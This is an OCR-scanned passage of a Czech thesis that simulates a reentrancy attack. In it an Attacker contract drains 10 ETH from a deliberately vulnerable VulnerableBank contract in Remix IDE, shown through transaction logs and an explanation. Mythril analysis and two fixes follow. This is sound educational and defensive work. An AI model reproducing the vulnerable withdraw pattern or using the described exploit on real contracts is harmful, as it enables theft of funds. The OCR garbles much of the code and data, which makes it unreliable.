kontrakt disponoval dostateénym mnozstvim Etheru, které by mohlo byt utocnikem
zneuzito. Pro demonstraéni ucely byly provedeny tfi samostatné vklady z rdznych
testovacich uctl dostupnych v prostfedi Remix IDE. Prvnim vkladem byla odeslana ¢éstka

3 ETH. Detail této transakce je zaznamenan v Tabulce 9.

Low level interactions

Obrazek 18: Nasazeny smart kontrakt Attacker v Remix IDE

( zdroj: viastni )
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Attacker - contracts/Attacker.sol

SV VErSion: Canoumn

Ced91450CESZD380f25491 Ted

Obrazek 19: Propojeni uto¢ného kontraktu Attacker s VulnerableBank

( zdroj: viastni )

from: ©x4BO...4D2dB
to: VulnerableBank.deposit()
0xd9145CCE52D3861254917e481eB44e9943F39138

[vm] value: 3000000000000000000 wei (3 ETH)
data: ©Oxdoe...30dbo
logs: ©
hash: 0xc18...23051

status ox1 Transaction mined and execution succeed

transaction hash

0x182d4896921a0457b2d1dfdc8112df68b1a23617964830ec175523051

block hash Oxe453fblbdce7c2a99760f30b2850b745b9e7eF2dc74d0a2f6ad

block number 8

from 0x4B0897b0513Fdc7C5b148C7C6dD195C9¢c5e364D2b

to VulnerableBank.deposit()
0xd9145CCE52D3861254917e481eB44e9943F39138

gas 50168 gas

transaction cost 42166 gas

execution cost 22560 gas

input oxdee. . .30dbo
output [2)%¢

decoded input {}

decoded output {}

logs [1

raw logs [1

value

3000000000000000000 wei (3 ETH)
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poznamka

Transakce uspésné probéhla - do kontraktu VulnerableBank byla
ulozena castka 3 ETH.

Tabulka 9: Transakce — VulnerableBank.deposit() s hodnotou 3 ETH

(zdroj: viastni )

Nasledné¢ byl proveden vklad ve vysi 5 ETH, jak doklad4 Tabulka 10.

from: ©Ox1laE...E454C
to: VulnerableBank.deposit()
0xd9145CCE52D3861254917e481eB44e9943F39138

[vm] value: 500000000P0P0000000 wei (5 ETH)
data: Oxdoe...30dbo
logs: ©
hash: 0x18a...846ae

status @x1 Transaction mined and execution succeed

transaction hash

0x126826045f006felab6fe7e7c92b1d69fb712aef2f8846ae

block hash 0x6d8d1f98de846a7d7dec1931de5dd250d5793112b741900b84F27

block number 5

from Ox1aEQEA347D943E7C607F8ESECCO3a4665964E54C

to VulnerableBank.deposit()
0xd9145CCE52D3861254917e481eB44e9943F39138

gas 50168 gas

transaction cost 42166 gas

execution cost 22560 gas

input oxdoe. . .30dbo

output 0x

decoded input {}

decoded output {}

logs [

raw logs []

value 5000000000000000000 wei (5 ETH)

pozndmka Transakce byla uUspésné dokoncena. Do kontraktu VulnerableBank byla

vlozena c¢astka 5 ETH.

Tabulka 10: Transakce — VulnerableBank.deposit() s hodnotou 5 ETH

( zdroj: viastni )
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Ttetim vkladem byla pfidana ¢astka 2 ETH. Detail této transakce je patrny v Tabulce 11.

from: OxCA3...e733c
to: VulnerableBank.deposit()
0xd9145CCE52D3861254917e481eB44e9943F39138

[vm] value: 2000000000000000000 wei (2 ETH)
data: ©xdoe...30dbo
logs: ©
hash: 0x273...85a45

status ox1 Transaction mined and execution succeed

transaction hash

0x279d2eb818b70b61238e5a508c05a9f0a8d6T49a9e5df6a5a45

block hash

0x479d68cce@776d589a9995ea6fb58ce2fadc7a0b6b64729b6d10cel8

block number

from 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c

to VulnerableBank.deposit()
0xd9145CCE52D3861254917e481eB44e9943F39138

gas 50168 gas

transaction cost 42166 gas

execution cost 22560 gas

input oxdoe. ..30dbo

output [2)¢

decoded input {}

decoded output {}

logs []

raw logs [1

value 2000000000000000000 wei (2 ETH)

poznamka Transakce byla uspésSné dokoncena. Do kontraktu VulnerableBank byla

vlozena c¢astka 2 ETH.

Tabulka 11: Transakce — VulnerableBank.deposit() s hodnotou 2 ETH

( zdroj: viastni )

Vsechny tyto vkladové transakce prob&hly uspésné€, coz bylo ovéteno z jejich zdznamt v

uvedenych tabulkach (Tabulka 9, Tabulka 10 a Tabulka 11). Po dokonceni téchto vkladii

¢inil celkovy zistatek Etheru v kontraktu VulnerableBank 10 ETH. Tento poc¢atecni stav

banky pted zahdjenim Utoku je vizudlné zachycen na obrazku (Obréazek 20).
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Obrazek (Obrazek 20) jednoznaéné ukazuje, ze zranitelny kontrakt banky drzi ocekavanych

10 Etheru, coz ptedstavuje dostatecny 'cil' pro nadchazejici utok.

Po ptipravné fazi byl proved samotny Reentrancy Gtoku. Utok byl zahajen volanim
funkce attack() na utocném kontraktu Attacker, které bylo provedeno z ti¢tu uto¢nika. S touto
transakci byla poslana hodnota 10 ETH (jak je patrné z pole 'value' v detailu transakce).

Detail této transakce iniciujici Gtok je zobrazen v Tabulce 12.

balances

getBalance

Low level interactions

Obrazek 20: Celkovy zistatek v kontraktu VulnerableBank po poc¢atecnich vkladech

( zdroj: viastni )

from: 0x617...5E7f2
to: Attacker.attack()
Oxb195f00CcECc59a1185ECO73aDE846a283f28e2fa8

[vm] value: 10000000000000000000 wei (10 ETH)
data: @x9e5...faafc
logs: ©

hash: Ox5f...ce6edf

status ox1 Transaction mined and execution succeed

transaction hash 0x5912f86c9b9bdablacfe8d87dbl158a2b7e3a5d5441242d73d920baeb064f

block hash 0x172e9fb5807609a88467a74b17dee7924a3a4b3e68554605389

block number 7

from 0x6172f212f107b0d5590179092c16bc91d4657c2f
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to Attacker.attack()
0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8
gas 193964 gas
transaction cost 162466 gas
execution cost 127700 gas
input ox9e5. . .faafc
output ox
decoded input {3
decoded output {}
logs [1
raw logs [1
value 10000000000000000000 wei (10 ETH)
Zahajeni Utoku skrze funkci attack() uUtocného kontraktu. Odeslano
poznamka 10 ETH, transakce uspésna - pravdépodobné prvni krok v reentrancy
utoku.

Tabulka 12: Transakce — Attacker.attack() s hodnotou 10 ETH

( zdroj: viastni )

V rédmci funkce attack() doslo nejprve k vlozeni 1 ETH z poslané hodnoty do zranitelného
bankovniho kontraktu volanim ,bank.deposit{value: 1 ether}()*. Tim bylo zaji§téno, ze
utocnik mé v bance pocatecni zlistatek 1 ETH, ktery bude néasledné zneuzit. Bezprostfedné

po vkladu bylo provedeno klicové volani bank.withdraw().

Klicovym mechanismem utoku, ktery se spustil pfi provadéni této funkce withdraw()
v kontraktu VulnerableBank, je rekurzivni chovéani. KdyZ zranitelna banka odesle Ether
utocnikovi pomoci ,,msg.sender.call{value: amount}("")*, je spusSténa funkce receive()
utocného kontraktu Attacker. Tato receive() funkce obsahuje podminku (zda je v bance stale

dostatek Etheru) a provede rekurzivni volani bank.withdraw().

Toto zpétné volani nastava diive, nez plvodni spusténi funkce withdraw() v
bankovnim kontraktu stihne dokoncit svou operaci, konkrétné nastaveni zistatku tto¢nika
na nulu (balances[msg.sender] = 0;). Timto je umoznéno, ze utocnik opakované vyuziva sviij
nezménény zistatek k dalSim vybériim, dokud neni bankovni kontrakt téméf prazdny, nebo

dokud neni splnéna omezujici podminka v jeho receive() funkci.
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Pro lepsi predstavu je nize uveden vypis z konzole. Okamzité vysledky utoku jsou zietelné

viditelné pti kontrole zistatkti obou kontraktd po provedeni Gito¢né transakce.

Vypis z konzole

[vm] from: Ox617...5E7f2 to: Attacker.attack() oOxd8b...33fa8 value: 1000000000000000000
faafc logs: @ hash: @x05f...ce6df

wei data: @x9e5...
console.log:
EtherBank balance:
Attacker balance:
reentering...
EtherBank balance:
Attacker balance:
reentering...
EtherBank balance:
Attacker balance:
reentering...
EtherBank balance:
Attacker balance:
reentering...
EtherBank balance:
Attacker balance:
reentering...
EtherBank balance:
Attacker balance:
reentering...
EtherBank balance:
Attacker balance:
reentering...
EtherBank balance:
Attacker balance:
reentering...

EtherBank balance:

11000000000000000000

1000000000000000000

10000000000000000000

1000000000000000000

9000000000000000000

1000000000000000000

8000000000000000000

1000000000000000000

7000000000000000000

1000000000000000000

6000000000000000000

1000000000000000000

5000000000000000000

1000000000000000000

4000000000000000000

1000000000000000000

3000000000000000000
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Attacker balance: 1000000000000000000
reentering...

EtherBank balance: 2000000000000000000
Attacker balance: 1000000000000000000
reentering...

EtherBank balance: 1000000000000000000
Attacker balance: 1000000000000000000

victim account drained

Jak je patrné z obrazku (Obrazek 21), zlstatek v zranitelném bankovnim kontraktu
(VulnerableBank) klesl na 0 ETH. Naopak, zGstatek uto¢ného kontraktu (Attacker) vzrostl
na pfiblizn€ 10 ETH (pfesna ¢astka se mize mirné liSit kvili ndkladim na gas spojenym s

utoc¢nou transakct).

Tento vysledek efektivné predstavuje veskeré Ethery, které byly piivodné ulozeny v
bankovnim kontraktu (celkem 10 ETH). Vizudlni vysledek ndzorné ukazuje, ze tocnik,
ktery ptivodné¢ do banky vlozil pouze 1 ETH, dokézal diky zneuziti Reentrancy zranitelnosti

odcerpat veskeré prostfedky, které banka v tu chvili drzela.
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getBalance - call

Low level interactions

Low level interactions

Obrazek 21: Vysledek Reentrancy ttoku

( zdroj: viastni )

Zavér k simulacim zranitelnosti

Simulace provedend v prostiedi Remix IDE s vyuzitim zranitelného bankovniho kontraktu
a specialné vytvoreného utocného kontraktu prokazala, jak Reentrancy zranitelnost funguje
v praxi. Bylo ukézano, Ze provadéni externiho volani (call) pted aktualizaci stavu kontraktu
vytvaii kritické casové okno, které miize byt zneuzito Skodlivym kontraktem k
opakovanému volani zranitelné funkce a od¢erpani prostiedkti. Pokus s ukradenymi 10 ETH

misto legitimniho vybéru 1 ETH slouzi jako jasnd demonstrace dopadu této zavazné
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zranitelnosti a podtrhuje nutnost diisledného dodrzovani bezpecnych vyvojovych vzort, jako
je Checks-Effects-Interactions pattern, pii praci s externimi volanimi zahrnujicimi pievody

hodnot.

6.2.2 Analyza zranitelnosti pred mitigaci

Po provedeni simula¢ni ukéazky, ktera nazorn¢ demonstrovala zneuZzitelnost zranitelnosti
typu Reentrancy, nasledovala analyza zdrojového koédu zranitelného kontraktu
VulnerableBank. K tomuto ucelu byl pouzit néstroj pro statickou analyzu Mythril. Analyza

byla provedena nad zdrojovym kodem (Ukazka kodu 7).

Po spusténi analyzy néstrojem Mythril byl obdrzen nasledujici vystup, ktery

signalizuje pritomnost bezpecnostnich rizik.

Vystup z Mythril

=> contracts myth analyze ReentracyVulnerableBank.sol
==== External Call To User-Supplied Address ====

SWC ID: 107

Severity: Low

Contract: VulnerableBank

Function name: withdraw()

PC address: 422

Estimated Gas Usage: 7249 - 62193

A call to a user-supplied address is executed.

An external message call to an address specified by the caller is executed. Note that
the callee account might contain arbitrary code and could re-enter any function within
this contract. Reentering the contract in an intermediate state may lead to unexpected
behaviour. Make sure that no state modifications are executed after this call and/or

reentrancy guards are in place.

In file: ReentracyVulnerableBank.sol:34
msg.sender.call{value: amount}("")
Initial State:

Account: [CREATOR], balance: ©x0, nonce:0, storage:{}
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Account: [ATTACKER], balance: 0x40000, nonce:0, storage:{}

Transaction Sequence:

Caller: [CREATOR], calldata: , decoded data: , value: 0x@

Caller: [ATTACKER], function: deposit(), txdata: @xdee3edbo, value: Ox1
Caller: [ATTACKER], function: withdraw(), txdata: ©x3ccfd6@b, value: 0x0
==== Transaction Order Dependence ====

SWC ID: 114

Severity: Medium

Contract: VulnerableBank

Function name: withdraw()

PC address: 422

Estimated Gas Usage: 7249 - 62193

The value of the call is dependent on balance or storage write

This can lead to race conditions. An attacker may be able to run a transaction after

our transaction which can change the value of the call

In file: ReentracyVulnerableBank.sol:34

msg.sender.call{value: amount}("")

Initial State

Account: [CREATOR], balance: 0x0, nonce:0, storage:{}

Account: [ATTACKER], balance: 0x1000000800000000, nonce:0, storage:{
Transaction Sequence:

Caller: [CREATOR], calldata: , decoded_data: , value: 0x@

Caller: [ATTACKER], function: deposit(), txdata: Oxdee3edbo, value: Ox1
Caller: [ATTACKER], function: withdraw(), txdata: ©x3ccfd6@b, value: 0xe@
==== State access after external call ====

SWC ID: 107

Severity: Medium

Contract: VulnerableBank

Function name: withdraw()
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PC address: 610
Estimated Gas Usage: 7249 - 62193
Write to persistent state following external call

The contract account state is accessed after an external call to a user defined address.To
prevent reentrancy issues, consider accessing the state only before the call, especially
if the callee is untrusted. Alternatively, a reentrancy lock can be used to prevent

untrusted callees from re-entering the contract in an intermediate state.

In file: ReentracyVulnerableBank.sol:40

balances[msg.sender] = 0@

Initial State:

Account: [CREATOR], balance: ©x@, nonce:0, storage:{}

Account: [ATTACKER], balance: 0x40000000040000, nonce:9, storage:{}
Transaction Sequence:

Caller: [CREATOR], calldata: , decoded data: , value: 0x0

Caller: [ATTACKER], function: deposit(), txdata: @xd@e3edbo, value: ox1l

Caller: [ATTACKER], function: withdraw(), txdata: ©x3ccfd6@b, value: 0x0

Analyza nastrojem Mythril identifikovala n€kolik potencidlnich problém, pfic¢emz dva z
nich pfimo souviseji se zranitelnosti Reentrancy (SWC ID 107) a jeden upozoriiuje na
zavislost na poradi transakci (SWC ID 114), kterd mlze byt v kontextu reentrancy utoku

zneuzita.

Prvni nadlez s SWC ID 107 s oznacenim "External Call To User-Supplied Address"
(Externi volani na uzivatelem zadanou adresu) a nizkou zdvaznosti byl zaznamenan na fadku
34 v souboru ReentracyVulnerableBank.sol, kde dochéazi k volani msg.sender.call{value:

nn

amount}(""). Mythril zde upozorniuje na skutecnost, Ze je provadéno externi volani na adresu
(msg.sender), kterou miiZze ovladat volajici (itoc¢nik). Nastroj spravné konstatuje, Ze cilovy
ucet mize obsahovat libovolny kod (v naSem piipadé receive() funkci ttocného kontraktu)
a miize znovu vstoupit do volajiciho kontraktu, coz mize vést k neo¢ekdvanému chovani,
pokud stav kontraktu neni plné aktualizovan pted volanim. A¢koliv Mythril tomuto nélezu

ptifadil nizkou z&vaznost, je to kli¢ovy indikator potencidlniho problému.
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Druhy relevantni ndlez, rovnéz s SWC ID 107, s ndzvem "State access after external call"
(Pristup ke stavu po externim voladni) a stfedni zavaznosti ukazuje na fadek 40 v souboru
ReentracyVulnerableBank.sol, kde dochdzi k aktualizaci stavové proménné
(balances[msg.sender] = 0). Tento nalez je kriticky dtlezity, protoze pfimo signalizuje
nespravné potadi operaci. Mythril explicitné uvadi, ze je ptistupovano ke stavu kontraktu
(provadi se zapis) po externim volani na uzivatelem definovanou adresu. Nastroj spravné
navrhuje pro prevenci Reentrancy problému zvazovat ptistup ke stavu pouze pied externim

volanim (pattern Checks-Effects-Interactions) nebo pouzit reentrancy zamek.

Mythril také identifikoval problém Transaction Order Dependence (SWC ID 114) se
sttedni zadvaznosti na stejném tadku (34) s externim volanim. Tento nélez upozornuje na
riziko, ze hodnota volani zavisi na zlstatku nebo zapisu do ulozisté, coz miize vést k tzv.
"race conditions". Uto¢nik miize byt schopen spustit transakci v kritickém okamziku
(naptiklad v ramci reentrantniho volani), kterd zméni hodnoty (napft. zastatek), na kterych
nasledné operace zavisi. Ackoliv je to odlisné SWC ID, tento nalez podtrhuje obecné riziko
timingovych problémi spojenych s nespravnou manipulaci se stavem kontraktu kolem

externich volani, které jsou jadrem Reentrancy utoku.

Z vystupu nastroje Mythril je ziejmé, Zze zranitelny kontrakt VulnerableBank trpi
zasadni slabinou spojenou s externimi volanimi a manipulaci se stavem. Dva nalezy SWC
ID 107 jasné identifikovaly zranitelné misto (fadek 34) a chybné potadi operaci (fadek 40),
které umoziuje rekurzivni volani pfed aktualizaci zlistatku. Nazev souboru v ramci vystupu
Mythrilu (ReentracyVulnerableBank.sol) odpovidd analyzovanému kodu. Néstroj také

poskytuje ukézkové transakéni sekvence, které ilustruji, jak miize dojit ke zneuziti.

Na zékladé této analyzy bylo potvrzeno, Ze zranitelnd verze kontraktu obsahuje
zranitelnosti, které byly uspéSné demonstrovany v piedchozi simulacni Casti a byly

automaticky detekovany statickou analyzou.

6.2.3 Implementace bezpe¢nostniho opatieni (Mitigace)

Po identifikaci a demonstraci Reentrancy zranitelnosti v kontraktu VulnerableBank bylo
pfistoupeno k implementaci bezpec¢nostniho opatieni, které tuto kritickou slabinu odstrani.
Cilem bylo modifikovat kod funkce withdraw() tak, aby neumoziioval opakované volani

utocnym kontraktem v priibéhu zpracovani vybéru.
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Jednou z hlavnich metod mitigace Reentrancy zranitelnosti je dodrzovani tzv. vzoru Checks-
Effects-Interactions (Kontroly — Zmény stavu — Externi interakce). Tento vzor predepisuje,

ze v ramci funkce maji byt operace provadény v nasledujicim poradi:

e Checks (Kontroly): Nejprve se provedou veskeré kontroly a ovéfeni piedpokladii
funkce (napft. zda volajici mé& dostatecny zustatek, zda vstupni parametry spliuji

pozadavky atd.).

o Effects (Zmény stavu): Nasledné dojde ke vSem zménam stavovych proménnych
kontraktu, které odrdzeji vysledek operace (napf. snizeni zlstatku uzivatele,

aktualizace jinych internich ¢itac nebo mapovani).

o Interactions (Externi interakce): Teprve nakonec jsou provadény externi volani na
jiné kontrakty nebo adresy (napt. odeslani Etheru volajicimu, volani funkce jiného

kontraktu).

DodrZovani tohoto vzoru zabrailuje Reentrancy zneuZiti, protoze stav kontraktu (napf.
zustatek uzivatele) je aktualizovan pred provedenim externiho voldni. Pokud uto¢ny
kontrakt obdrzi Ether a pokusi se okamzité zpétné¢ zavolat piivodni funkci (Reentrancy),
kontroly v této rekurzivni instanci najdou jiz aktualizovany stav (napf. nulovy ziistatek

uto¢nika) a volani selze nebo nebude mit pozadovany skodlivy ucinek.

V kontraktu VulnerableBank bylo identifikovano chybné potadi v rdmci funkce
withdraw(), kde bylo provadéno externi volani (msg.sender.call{value: amount}("")) pied
aktualizaci stavu (balances[msg.sender] = 0;). Pro mitigaci bylo tedy nezbytné zménit poradi

téchto dvou operaci.

Nize je uvedena ukédzka kodu (Ukézka kodu 9) zabezpecené verze kontraktu

VulnerableBank, kde byl aplikovan vzor Checks-Effects-Interactions ve funkci withdraw().

// SPDX-License-Identifier: MIT

pragma solidity "0.8.29;

YAk
* @title SecureBank_ChecksEffectsInteractions
* @dev Zabezpecena verze bankovniho kontraktu proti Reentrancy
* pouzitim vzoru Checks-Effects-Interactions.

* Funkce withdraw() nejprve aktualizuje stav a teprve potom posila Ether.
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*/
contract SecureBank_ChecksEffectsInteractions {
// Mapuje adresu uzivatele na jeho zlUstatek (v Etheru).
mapping(address => uint) public balances;
/**
* @dev Umoznuje uzivateli vlozit Ether do banky.
* Tato funkce je bezpecna vic¢i Reentrancy, protoze nezahrnuje externi volani.
*/
function deposit() external payable {
balances[msg.sender] += msg.value;
}
/**
* @dev Bezpecna funkce pro vybér s pouzitim vzoru Checks-Effects-Interactions.

* ZOstatek uzivatele je sniZen PRED odeslanim Etheru, ¢&imZz se brani Reentrancy

utoku.
*/
function withdraw() external {
// Checks: Kontrola zlstatku - Zjisténi vysSe zlstatku uzivatele.

uint amount = balances[msg.sender];

// Checks: Ovéreni, Zze je co vybirat.
require(amount > @, "Nothing to withdraw");

// Effects: Aktualizace stavu (sniZeni zOstatku) - TATO OPERACE JE PRESUNUTA
PRED EXTERNI INTERAKCI.

// Zlstatek uzivatele je vynulovan PREDTIM, neZ je mu Ether poslan.

balances[msg.sender] = ©; // <-- Tato radka je nyni pred volanim

msg.sender.call

// Interactions: Externi voldni (odeslani Etheru).
// Ackoliv se stale pouziva flexibilni metoda “call”,
// diky tomu, Ze zlstatek uUto¢nika byl jiZz nastaven na nulu,

// reentrantni volani funkce withdraw() z utocného kontraktu
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// najde nulovy zlstatek a bud selZe na require(amount > 9),
// nebo vybere © a nebude mit Skodlivy efekt.

(bool success, ) = msg.sender.call{value: amount}("");

// Kontrola, zda externi voldni bylo Uspésné. Stale dllezité pro spravnost.
require(success, "Transfer failed");

// Pozndmka: Ve slozitéjsSich pripadech nebo pro dodatecnou jistotu

// by bylo mozné zvazit pouziti metod "transfer’/ send” s omezenym gasem,
// nebo pridani reentrancy guardu i pri tomto patternu.

// Vzor Checks-Effects-Interactions je vSak zakladni a v mnoha pripadech

dostatecnou obranou.

}
/**

* @dev Pomocnd funkce pro zjisténi aktudlniho =zlstatku Etheru drzeného timto

kontraktem.
*/
function getBalance() public view returns (uint) {

return address(this).balance;

Ukézka kodu 9: Mitigace Reentrancy pomoci vzoru Checks-Effects-Interactions

( zdroj: vlastni )

V upraveném kédu funkce withdraw() byla provedena kli¢ova zména. Radek
,balances[msg.sender] = 0;“ byl pfesunut tak, aby byl proveden pied volanim
»~msg.sender.call{value: amount}("")*. Tim je zaji§téno, Ze v okamziku, kdy bankovni
kontrakt odesle Ether a potencialné spusti kod na adrese piijemce (ato¢nika), vnitini zdznam
o ziistatku tohoto uzivatele jiz bude roven nule. Pokud se uto¢ny kontrakt pokusi béhem své
receive() funkce znovu zavolat withdraw(), nova instance volani naéte aktuédlni (nulovy)
zUstatek uto¢nika a selze na podmince require(amount > 0, "Nothing to withdraw"), ¢imzZ je

zabranéno rekurzivnimu od¢erpéavani prostredk.



86 UTB ve Zliné, Fakulta aplikované informatiky

Kromé¢ vzoru Checks-Effects-Interactions existuje i alternativni nebo doplitkova metoda

mitigace, kterou predstavuje tzv. Reentrancy Guard (zamek proti znovuvstoupeni).

Tento pfistup spociva v pouziti modifikatoru (modifier) na funkci, ktera provadi
externi volani. Modifikator béhem provadéni funkce nastavi pfiznak (zamek) a na konci
funkce jej zrusi. Pokud dojde k pokusu o rekurzivni volani této funkce (napt. z fallbacku
externiho kontraktu), modifikéator detekuje aktivni zdmek a zpisobi selhani (revert) volani

drive, nez se zranitelnd ¢ast kodu stihne provést.

Casto je vyuZivana implementace Reentrancy Guardu z knihovny OpenZeppelin.

Nize je ukazan priklad, jak by se mohla pouzit v naSem kontraktu.

Kod s implementaci Reentrancy Guardu z knihovny OpenZeppelin

// SPDX-License-Identifier: MIT
pragma solidity 70.8.29;
// Je nutné importovat knihovnu ReentrancyGuard z OpenZeppelin contracts
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title SecureBank_ReentrancyGuard
* @dev Zabezpecena verze bankovniho kontraktu proti Reentrancy
* pouzitim modifikatoru nonReentrant z knihovny OpenZeppelin.
* Kontrakt dédi od ReentrancyGuard.
*/
contract SecureBank_ReentrancyGuard is ReentrancyGuard { // <-- Dédi od ReentrancyGuard
// Mapuje adresu uzivatele na jeho zidstatek (v Etheru).
mapping(address => uint) public balances;
/**
* @dev Umoznuje uzivateli vlozit Ether do banky.
*/
function deposit() external payable {

balances[msg.sender] += msg.value;

}

/**

* @dev Bezpecnd funkce pro vybér s pouzitim Reentrancy Guardu.
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* Modifikator nonReentrant zabrani rekurzivnimu volani.
*/
function withdraw() external nonReentrant { // <-- Priddn modifikator nonReentrant
// Checks: Kontrola zlstatku
uint amount = balances[msg.sender];

require(amount > @, "Nothing to withdraw");

// Interactions: Externi voldni (odesldni Etheru).

// Poradi oproti Checks-Effects-Interactions je zde "Spatné"
// (interakce pred zménou stavu nize),

// ale Reentrancy Guard tomu brani.

(bool success, ) = msg.sender.call{value: amount}("");

require(success, "Transfer failed");

// Effects: Aktualizace stavu (sniZeni zlstatku).
// Toto prichazi po volani, ale Guard zajistil, Zze re-entry nebylo mozné
// béhem provadéni této funkce.
balances[msg.sender] = 0;
}
/**

* @dev Pomocnd funkce pro zjisténi aktudalniho zlstatku Etheru drzeného timto

kontraktem.
*/
function getBalance() public view returns (uint) {

return address(this).balance;

Ukazka kodi 10: Mitigace Reentrancy pomoci Reentrancy Guard (OpenZeppelin)

( zdroj: viastni )

V této varianté kontraktu je pfidan import knihovny ReentrancyGuard.sol a kontrakt dédi od

ReentrancyGuard. Nésledn¢ byl na funkci withdraw() aplikovan modifikator nonReentrant.
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Tento modifikéator zajisti, Ze dokud probihd provadéni funkce withdraw() (mezi jejim
vstupem a vystupem), zadné dalSi volani na tuto konkrétni funkci ze stejného kontraktu
nebude povoleno a bude revertovano. Ackoliv tato implementace withdraw() nedodrzuje
Cist¢ pattern Checks-Effects-Interactions (zména stavu je stdle po volani), je efektivné

chranéna proti Reentrancy prave diky tomuto zamku.

V praxi je doporuceno primarné spoléhat se na vzor Checks-Effects-Interactions,
protoze fesi kofen problému (nespravné potadi operaci). Pouziti Reentrancy Guardu Ize
vnimat jako dopliikovou vrstvu ochrany ("belt and suspenders") nebo jako feSeni v situacich,
kdy cisté dodrzeni Checks-Effects-Interactions neni snadné (i kdyz takové situace Casto

signalizuji hlubsi designovy problém).

Implementaci vzoru Checks-Effects-Interactions byla odstranéna Reentrancy
zranitelnost v kontraktu VulnerableBank, ¢imz bylo zajiSténo, Ze uto¢nik nemiize zneuzit

opakované volani k od¢erpani prostiedk.

6.2.4 Analyza po mitigaci

Po implementaci bezpe¢nostniho opatfeni spocivajiciho v aplikaci vzoru Checks-Effects-
Interactions na funkci withdraw() v kontraktu VulnerableBank (¢imz vznikl kontrakt
SecureBank), bylo nezbytné provést novou analyzu kédu. Cilem bylo ovéfit, zda provedena
uprava ucinné odstranila Reentrancy zranitelnost, ktera byla demonstrovana simulaci a

potvrzena analyzou zranitelné verze.

Analyza byla provedena opétovné ndstrojem Mythril na kodu zabezpeceného
kontraktu SecureBank (v souboru ReentracySecureBank.sol, jak je patrné z vystupu
nastroje). Analyzovany kod (Ukazka kodu 9) po mitigaci, kterd obsahuje upraveny kontrakt
SecureBank ChecksEffectsInteractions vyuzivajici bezpecnostni vzor Checks-Effects-

Interactions. Po spusténi analyzy Mythrilu na tomto kédu byl obdrzen nésledujici vystup.

Vystup z Mythrilu (po mitigaci CEI)

=> contracts myth analyze ReentracySecureBank.sol
==== External Call To User-Supplied Address ====
SWC ID: 107

Severity: Low

Contract: SecureBank_ChecksEffectsInteractions
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Function name: withdraw()

PC address: 490

Estimated Gas Usage: 7249 - 62193

A call to a user-supplied address is executed.

An external message call to an address specified by the caller is executed. Note that
the callee account might contain arbitrary code and could re-enter any function within
this contract. Reentering the contract in an intermediate state may lead to unexpected
behaviour. Make sure that no state modifications are executed after this call and/or

reentrancy guards are in place.

In file: ReentracySecureBank.sol:42

msg.sender.call{value: amount}("")

Initial State:

Account: [CREATOR], balance: ©x@, nonce:0, storage:{}

Account: [ATTACKER], balance: ©x4000, nonce:0, storage:{}

Transaction Sequence:

Caller: [CREATOR], calldata: , decoded _data: , value: 0x0

Caller: [ATTACKER], function: deposit(), txdata: ©xd@e3edbo, value: Ox1l
Caller: [ATTACKER], function: withdraw(), txdata: ©x3ccfd6@b, value: 0x0
==== Transaction Order Dependence ====

SWC ID: 114

Severity: Medium

Contract: SecureBank_ChecksEffectsInteractions

Function name: withdraw()

PC address: 490

Estimated Gas Usage: 7249 - 62193

The value of the call is dependent on balance or storage write

This can lead to race conditions. An attacker may be able to run a transaction after

our transaction which can change the value of the call

In file: ReentracySecureBank.sol:42
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msg.sender.call{value: amount}("")

Initial State:

Account: [CREATOR], balance: 0x@, nonce:@, storage:{}

Account: [ATTACKER], balance: 0x20000000000000000, nonce:Q, storage:{}
Transaction Sequence:

Caller: [CREATOR], calldata: , decoded _data: , value: 0x0

Caller: [ATTACKER], function: deposit(), txdata: ©xdee30dbo, value: Ox1l

Caller: [ATTACKER], function: withdraw(), txdata: ©x3ccfd6@b, value: 0x0

Z analyzy zabezpeCené verze kontraktu SecureBank nastrojem Mythril bylo ziskano

potvrzeni o ucinnosti provedené mitigace, ackoliv nastroj stale hlasi urcita varovani.

NejdulezitéjSim zjiSténim je absence nalezu "State access after external call" (rovnéz
SWC ID 107), ktery Mythril hlasil ve zranitelné verzi kontraktu. Tento konkrétni nalez
pfimo identifikoval situaci, kdy dochazi k pfistupu ke stavu po externim volani — coz je
presné jadro Reentrancy zranitelnosti umoziujici opakované vybery. Skutecnost, Ze tento
nalez v analyzovaném vystupu chybi, je hlavnim potvrzenim toho, Ze kriticka slabina byla
uspéSné odstranéna aplikaci vzoru Checks-Effects-Interactions. Potfadi operaci bylo
zmeénéno tak, ze aktualizace zlstatku probiha pted externim volanim, ¢imz je eliminovano

¢asoveé okno pro zneuziti hlavniho vektoru utoku.

Mythril nicméné nadéle upozoriiuje na dva typy problémii, které jsou patrné ve
vystupu: "External Call To User-Supplied Address" (SWC ID 107, nizka z&vaZnost) a
"Transaction Order Dependence" (SWC ID 114, stfedni zdvazZnost). Oba tyto nalezy
odkazuji na fadek s volanim msg.sender.call{value: amount}(""). Je dtlezit¢ zdaraznit, ze
nalez "External Call To User-Supplied Address" bude obecné vzdy signalizovan néstroji pro
statickou analyzu, kdykoliv je pouzita nizkotUroviiova funkce jako call na adresu, kterd
pochézi z externiho vstupu (msg.sender). Toto neni pfimy dikaz existence Reentrancy
zranitelnosti ve smyslu od€erpani prosttedkl v tomto konkrétnim ptipadé (protoZe stav je jiz
aktualizovan), ale spiSe obecné upozornéni na potencialni riziko spojené s ptedanim kontroly
externi adrese. Je to jako varovna znacka, ktera fika: "Pozor, tady opoustite sviij kontrakt a

davate slovo n€ékomu jinému, ujistéte se, Ze jste si vSechno v pofadku zatidili, NEZ to
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udélate." V tomto opraveném kontraktu jsem si "vSechno v poradku zafidil" tim, Ze jsem

vynuloval ziistatek pred volanim.

Nalez "Transaction Order Dependence" (SWC ID 114) upozoriiuje na obecnéjsi tiidu
rizik, kde vysledek transakce muze zaviset na piesném potradi, ve kterém jsou transakce
zpracovany na blockchainu. V tomto ptipadé nastroj vidi, Ze hodnota posilana volanim
(amount) byla nacdtena ze stavové proménné (balances), kterd by mohla byt teoreticky
zménéna jinou, nezavislou transakci, ktera by byla zahrnuta do bloku tésné pted provedenim
externiho volani. Ackoliv je tento nalez relevantni pro obecnou robustnost kontraktu, neni
pfimym indik4torem Reentrancy zranitelnosti v jejim klasickém smyslu (opakované volani

v ramci té samé transakce pied aktualizaci stavu).

Transakéni sekvence uvedené v novém vystupu Mythrilu ilustruji scénafe spojené s
obecnymi externimi volanimi nebo zévislosti na potadi transakci, ale jiz neukazuji cestu, kde
by se zistatek uto¢nika nachdzel v nenulovém stavu po uspéSném reentrantnim volani
